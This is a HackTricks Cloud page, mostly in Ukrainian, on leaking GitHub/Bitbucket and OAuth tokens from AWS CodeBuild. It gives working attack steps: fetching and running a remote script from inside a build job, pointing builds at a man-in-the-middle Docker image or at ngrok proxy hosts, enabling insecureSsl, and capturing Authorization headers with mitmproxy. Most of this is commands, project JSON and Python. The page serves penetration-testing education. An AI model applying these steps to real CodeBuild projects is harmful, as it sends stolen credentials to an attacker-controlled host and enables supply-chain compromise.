AWS Codebuild - Token Leakage
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Відновлення налаштованих Github/Bitbucket Tokens
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
aws codebuild list-source-credentials
Через RCE у CodeBuild-завданні
Зсередини CodeBuild-завдання можна звернутися до недокументованого AWS CodeBuild API endpoint, який поверне облікові дані, що використовуються CodeBuild. Це можна використати, щоб отримати облікові дані, з якими було налаштовано CodeBuild-завдання, напр.: AWS CodeConnection облікові дані, OAUTH або PAT облікові дані. CodeBuild-завданню не потрібно мати підвищені привілеї для звернення до цього endpoint, і це також важко виявити у логах та моніторингу, оскільки сам CodeBuild викликає цей endpoint кілька разів при старті.
Техніку детальніше описано в https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/, але коротко, щоб отримати облікові дані всередині CodeBuild-завдання, достатньо виконати наступне:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Via Docker Image
Якщо ви виявите, що в обліковому записі налаштовано автентифікацію, наприклад до Github, ви можете exfiltrate той access (GH token or OAuth token) змусивши Codebuild use an specific docker image для запуску збірки проєкту.
Для цього ви можете create a new Codebuild project або змінити environment існуючого, щоб вказати Docker image.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. Це дуже простий Docker image, який встановить env variables https_proxy, http_proxy і SSL_CERT_FILE. Це дозволить перехоплювати більшість трафіку хоста, вказаного в https_proxy і http_proxy, та довіряти SSL CERT, вказаному в SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі, встановити SSL-сертифікат та build the docker image.
- DO NOT SET
http_proxyщоб не перехоплювати запити до metadata endpoint. - Ви можете використати
ngrok, наприкладngrok tcp 4444, щоб спрямувати проксі на ваш хост - Коли Docker image збудовано, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Створіть new Codebuild project або modify середовище існуючого.
- Встановіть проєкт для використання previously generated Docker image
.png)
- Set the MitM proxy in your host
- Як вказано в Github repo, ви можете використати щось на кшталт:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
The mitmproxy version used was 9.0.1, повідомлялося, що з версією 10 це може не працювати.
- Запустіть збірку та перехопіть облікові дані
- Ви можете побачити токен у заголовку Authorization:
.png)
Це також можна зробити з aws cli за допомогою команди на кшталт
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Через insecureSSL
Codebuild проекти мають налаштування під назвою insecureSsl, яке приховано у веб-інтерфейсі — його можна змінити лише через API.
Увімкнення цього дозволяє Codebuild підключатися до репозиторію без перевірки сертифіката, наданого платформою.
- Спочатку потрібно enumerate поточну конфігурацію за допомогою чогось на кшталт:
aws codebuild batch-get-projects --name <proj-name>
- Потім, зібравши інформацію, ви можете оновити налаштування проекту
insecureSslнаTrue. Нижче приклад мого оновлення проекту — зверніть увагу наinsecureSsl=Trueв кінці (це єдине, що потрібно змінити у зібраній конфігурації). - Крім того, додайте також змінні середовища http_proxy і https_proxy, які вказують на ваш tcp ngrok, наприклад:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Нарешті, натисніть на Build the project, credentials будуть відправлені у відкритому вигляді (base64) на mitm порт:
 (1).png)
Через HTTP протокол
[!TIP] > Цю вразливість AWS виправили приблизно на тижні, що починався 20 лютого 2023 року (ймовірно в п’ятницю). Тому атакуючий більше не може її використовувати :)
Атакуючий з підвищеними правами над CodeBuild може leak Github/Bitbucket token, що налаштований, або якщо права були налаштовані через OAuth, — тимчасовий OAuth token, що використовується для доступу до коду.
- Атакуючий може додати змінні середовища http_proxy та https_proxy в проект CodeBuild, вказавши на свою машину (наприклад
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Потім змініть URL github repo, щоб використовувати HTTP замість HTTPS, наприклад:
http://github.com/carlospolop-forks/TestActions - Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порті, вказаному змінними проксі (http_proxy та https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Далі натисніть на Build the project або запустіть збірку з командного рядка:
aws codebuild start-build --project-name <proj-name>
- Нарешті, credentials будуть відправлені у clear text (base64) на mitm port:
.png)
Warning
Тепер attacker зможе використовувати token зі своєї машини, переглянути всі привілеї, які він має, та (ab)use легше, ніж при безпосередньому використанні CodeBuild.
Виконання Untrusted PR через неправильну конфігурацію фільтра webhook
Для ланцюга обходу webhook, що запускається PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), перевірте:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

